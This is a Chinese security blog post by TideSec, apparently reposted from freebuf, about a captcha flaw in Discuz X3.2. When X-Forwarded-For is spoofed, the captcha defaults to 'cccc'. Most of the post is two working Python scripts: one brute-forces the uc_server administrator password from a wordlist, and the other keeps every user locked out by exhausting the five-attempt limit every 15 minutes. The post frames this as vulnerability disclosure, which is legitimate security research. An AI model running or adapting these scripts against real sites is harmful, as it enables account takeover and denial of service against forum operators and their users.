Discuz X3.2管理员密码破解及拒绝任意用户登录脚本POC说明 – 作者:TideSec

1. 漏洞情况

在Discuz X3.2管理员登录时,使用了图形验证码。

http://localhost/discuz/uc_server/admin.php

图片.png

但经测试发现,登录uc_server的时候如果ip第一次出现那么 seccode的默认值为cccc,而 ip地址是通过X-Forwarded-For获取的。

也就是我们修改X-Forwarded-For的ip之后,再次打开上面登录页面,图片的值为cccc。

图片.png

根据验证码存在的缺陷可以写一个程序通过修改X-Forwarded-For的值爆破密码。

2. 管理员密码破解POC

该POC在网上也有流传,主要是通过随机生成X-Forwarded-For进行管理员密码的破解,但执行效率较低,且容错机制较差有一定误报情况。为此我们进行了一定的改进,主要是对不同网页编码进行容错,对服务器响应结果进行多重验证。

#coding:utf-8

import httplib,re,random,urllib,time

from sys import argv




def getHtml(host,htmlhash,htmlpass,htmlseccode):

    ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))

    print ip
    postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}

    postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'

    resultHtml=httplib.HTTPConnection(host, 80, False)

    resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )

    page=resultHtml.getresponse()

    pageConect=page.read()


    return pageConect




def gethashs(host):

    url='http://'+host+'/uc_server/admin.php'

    pageContent=urllib.urlopen(url).read()

    r1=re.compile('<input type="hidden" name="formhash" value="(\S+)" />')

    htmlhash=r1.findall(pageContent)[0]

    r2=re.compile('<input type="hidden" name="seccodehidden" value="(\S+)" />')

    htmlseccode=r2.findall(pageContent)[0]

    print htmlhash+' '+htmlseccode

    return htmlhash+' '+htmlseccode




if(len(argv)==0):

    print '---->python '+argv[0]+' host地址 字典文件 间隔时间'

    print '---->python '+argv[0]+' **.**.**.** pass.txt 0.2'

else:

    host='www.zhangqiur.com'

    passfile='/Users/xysoul/Develop/py/other/dic/dic_1.2M.txt'

    sleeptime= '1'

    print '网站host为  '+host


    hostuser=host.split('.')

    hostuser=hostuser[len(hostuser)-2]

    hostpass=[]

    print '密码字典为  '+passfile

    print '间隔时间为  '+sleeptime

    print '--->'

    x=gethashs(host).split(' ')

    f=open(passfile,'r')

    htmlpass=f.read().split()

    htmlpass=hostpass+htmlpass

    f.close()
    out = open('pass.txt','a+')

    for i in range(len(htmlpass)):

        time.sleep(float(sleeptime))

        print '正在尝试密码'+htmlpass[i]

        if(getHtml(host,x[0],htmlpass[i],x[1])==''):

            print '密码为 '+htmlpass[i]

            out.write(htmlpass[i]+'\n')

3. 拒绝用户登录POC

我们通过分析漏洞的使用范围,发现很多网站的普通用户登录处也存在类似的问题,为此我们设计了一个能拒绝任意用户登陆的POC。

主要原理是随机生成X-Forwarded-For进行恶意密码穷举,而每个账户只要尝试密码5次就会被锁定账户15分钟,这15分钟之内无法进行登录。

因此,只要遍历出用户名,然后使用脚本程序对用户密码进行穷举,每15分钟尝试5次,这样就能造成所有用户都无法正常登录。

#coding:utf-8

import httplib,re,random,urllib,time

from sys import argv




def getHtml(host,username,password):

    ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))


    cookie = 'pre_2132_sid=ZcV6Cw; pre_2132_saltkey=MzgVwBmb; pre_2132_lastvisit=1500115108; pre_2132_lastact=1500123618%09member.php%09logging; pre_2132_home_diymode=1; pre_2132_sendmail=1'

    postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive','Cookie':cookie}

    postContent='formhash=f8d9a871&referer=http%3A%2F%2Fwww.host.com%2Fhome.php%3Fmod%3Dspace%26uid%3D67622%26do%3Dprofile&username='+username+'&password='+password+'&questionid=0&answer='

    resultHtml=httplib.HTTPConnection(host, 80)

    resultHtml.request('POST','/member.php?mod=logging&action=login&loginsubmit=yes&handlekey=login&loginhash=LsOhh&inajax=1',body=postContent,headers = postHead)

    page=resultHtml.getresponse()

    pageConect=page.read()


    if len(pageConect.decode('gbk')) >250:
        result = open('dic/result.txt','a+')
        result.write(username+':'+passwd+'\n')
        result.close()

    print pageConect.decode('gbk')

    return pageConect


host='www.host.com'

u = open('dic/user.txt','r')
p = open('dic/pass.txt','r')

usr=u.read().split()
pwd = p.read().split()
i = 0
for passwd in pwd:
    print i
    for user in usr:
        time.sleep(1)
        print user+':'+passwd
        getHtml(host,user,passwd)
    i = i+1

    if i == 5:
        time.sleep(901)
        i = 0

关注我们

对web安全有兴趣的小伙伴可以关注或加入我们,TideSec安全团队:

1551433162_5c78fdca9fae9.jpg

来源:freebuf.com 2019-03-07 17:11:57 by: TideSec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论